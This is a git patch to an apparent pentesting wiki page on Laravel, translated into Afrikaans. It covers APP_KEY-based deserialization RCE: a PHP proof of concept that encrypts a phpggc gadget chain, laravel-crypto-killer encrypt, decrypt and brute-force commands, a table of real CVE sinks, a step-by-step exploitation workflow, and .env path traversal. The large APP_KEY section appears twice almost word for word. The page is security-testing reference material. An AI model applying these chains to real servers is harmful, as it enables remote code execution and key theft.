From 05cb650dbe864ebd016b78eee9c55028c95713a9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 10 Jul 2025 12:38:52 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/laravel.md'] --- .../pentesting-web/laravel.md | 186 +++++++++++++++++- 1 file changed, 177 insertions(+), 9 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 5472c7280..5f4c83058 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -1,28 +1,113 @@ # Laravel +{{#include /banners/hacktricks-training.md}} + +### Laravel SQLInjection + +Lees inligting hieroor: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Enkripsie interne (Laravel \u003e=5.6) + +Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`). +Die rou koderings teks wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` sal standaard die `serialize()` die platte teks, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**. + +Minimale PoC (raamwerk ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete parameter, koekie, sessie, …). + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld. + +--- + +## Werklike wêreld kwesbare patrone + +| Projek | Kwesbare sink | Gadget ketting | +|--------|----------------|----------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` koekie | Laravel/RCE15 | + +Die uitbuiting werkvloei is altyd: +1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force) +2. Genereer gadget met **PHPGGC** +3. `laravel_crypto_killer.py encrypt …` +4. Lewer payload deur die kwesbare parameter/koekie → **RCE** + +--- + +## Massiewe APP_KEY ontdekking via koekie brute-force + +Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **lek openbare internet skandeerders (Shodan, Censys, …) miljoene teksblokke** wat offline aangeval kan word. + +Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025): +* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k) +* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke** +* >1 000 bedieners steeds kwesbaar vir erflike CVE-2018-15133 omdat tokens direk geserialiseerde data bevat. +* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone (UltimatePOS, Invoice Ninja, XPanel, …) gestuur word. + +Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat volle dataset kraking tot <2 minute verminder. + +--- + +## Verwysings +* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) + {{#include ../../banners/hacktricks-training.md}} ## Laravel Tricks -### Debugging mode +### Foutopsporing modus -As Laravel in **debugging mode** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\ +As Laravel in **foutopsporing modus** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\ Byvoorbeeld `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Dit is gewoonlik nodig vir die ontginning van ander Laravel RCE CVEs. +Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's. ### .env -Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te enkripteer binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversals onder: `/../.env` +Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversie onder: `/../.env` -Laravel sal ook hierdie inligting binne die foutbladsy vertoon (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is). +Laravel sal ook hierdie inligting binne die foutopsporing bladsy toon (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is). -Deur die geheime APP_KEY van Laravel te gebruik, kan jy koekies dekripteer en weer enkripteer: +Met die geheime APP_KEY van Laravel kan jy koekies ontsleutel en weer versleutel: -### Decrypt Cookie +### Ontsleutel Koekie ```python import os import json @@ -87,8 +172,8 @@ Kwetsbare weergawes: 5.5.40 en 5.6.x deur 5.6.29 ([https://www.cvedetails.com/cv Hier kan jy inligting oor die deserialisering kwesbaarheid vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -Jy kan dit toets en benut met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Of jy kan dit ook benut met metasploit: `use unix/http/laravel_token_unserialize_exec` +Jy kan dit toets en ontgin met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Of jy kan dit ook ontgin met metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -99,4 +184,87 @@ Nog 'n deserialisering: [https://github.com/ambionics/laravel-exploits](https:// Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +### Laravel SQLInjection + +Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Encryptie interne (Laravel \u003e=5.6) + +Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`). +Die rou ciphertext wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` sal standaard die `serialize()` die platte teks, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**. + +Minimale PoC (raamwerk ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete parameter, koekie, sessie, …). + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld. + +--- + +## Werklike wêreld kwesbare patrone + +| Projek | Kwesbare sink | Gadget ketting | +|--------|----------------|----------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` koekie | Laravel/RCE15 | + +Die uitbuiting werkstroom is altyd: +1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force) +2. Genereer gadget met **PHPGGC** +3. `laravel_crypto_killer.py encrypt …` +4. Lewer payload deur die kwesbare parameter/koekie → **RCE** + +--- + +## Massiewe APP_KEY ontdekking via koekie brute-force + +Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **publieke internet skandeerders (Shodan, Censys, …) lek miljoene ciphertexts** wat offline aangeval kan word. + +Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025): +* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k) +* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke** +* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat. +* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …). + +Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset krak tot <2 minute verminder. + +--- + +## Verwysings +* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) + {{#include ../../banners/hacktricks-training.md}}